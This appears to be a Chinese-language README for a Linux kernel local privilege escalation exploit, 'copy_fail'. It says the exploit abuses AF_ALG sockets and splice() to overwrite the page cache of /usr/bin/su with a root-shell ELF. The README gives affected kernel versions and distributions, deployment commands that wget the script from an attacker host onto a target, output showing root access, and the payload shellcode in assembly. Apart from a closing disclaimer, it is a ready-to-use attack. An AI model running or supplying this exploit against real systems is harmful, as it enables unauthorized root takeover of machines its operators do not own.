通过 AF_ALG 套接字 + splice() 页缓存覆写实现本地权限提升。
将只读的 SUID 二进制文件(/usr/bin/su)覆写为一个调用 setuid(0) + execve("/bin/sh") 的最小 ELF。无竞态条件,无发行版特定偏移,单次执行即可完成。
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 处于受影响窗口内(4.9 – 6.18)— 继续执行
[*] 正在编译...
[+] 编译成功 — 启动
# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)
Linux 内核的 AF_ALG(crypto API)套接字与 splice() 结合使用时,可通过操纵页缓存实现对以 O_RDONLY 打开的文件进行写入。内核在 ALG 套接字的 splice 路径中跳过了写权限检查(即 copy-on-write 快捷路径)——这与 Dirty Pipe(CVE-2022-0847)属于同一类漏洞,但通过内核 4.9 中引入的不同代码路径触发。
| 内核范围 | 状态 |
|---|---|
| < 4.9 | 不受影响(漏洞代码路径不存在) |
| 4.9 – 6.18 | 受影响(约 9 年,2017–2026) |
| ≥ 6.19 | 已修复 |
| 发行版 | 内核 |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
gcc/tmp 具有写权限# 在目标系统上
wget http://<your-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh
该脚本将:
/usr/bin/su 覆写为 root shell 载荷AF_ALG 套接字 (AEAD)
│
│ sendmsg() 携带构造的辅助数据(ALG_SET_OP / ALG_SET_IV)
│
▼
op_fd(操作套接字)
▲
│ splice():file_fd → pipe → op_fd
│
/usr/bin/su (O_RDONLY)
内核在 ALG 套接字内部的 splice 路径中跳过了 copy-on-write 权限检查,尽管目标文件以只读方式打开,仍可直接写入其页缓存。载荷(一个 160 字节的 ELF)通过 40 次迭代、每次写入 4 字节的方式写入。
载荷 shellcode:
xor eax, eax
xor edi, edi ; uid = 0
mov al, 105 ; SYS_setuid
syscall ; setuid(0)
lea rdi, [rip+0xf] ; -> "/bin/sh"
xor esi, esi ; argv = NULL
push 59 / pop rax ; SYS_execve
cdq ; envp = NULL
syscall ; execve("/bin/sh", NULL, NULL)
| 文件 | 描述 |
|---|---|
copy_fail_exp.sh | Bash 脚本 — 在目标系统上编译并运行,无需 Python |
copy_fail_exp.py | 原始 Python 版本,供参考 |
copy_fail_exp_deobfuscated.py | 去混淆并添加注释的 Python 版本 |
仅限授权的安全测试以及 CTF/实验环境使用。请勿针对您不拥有或未经明确书面许可测试的系统使用。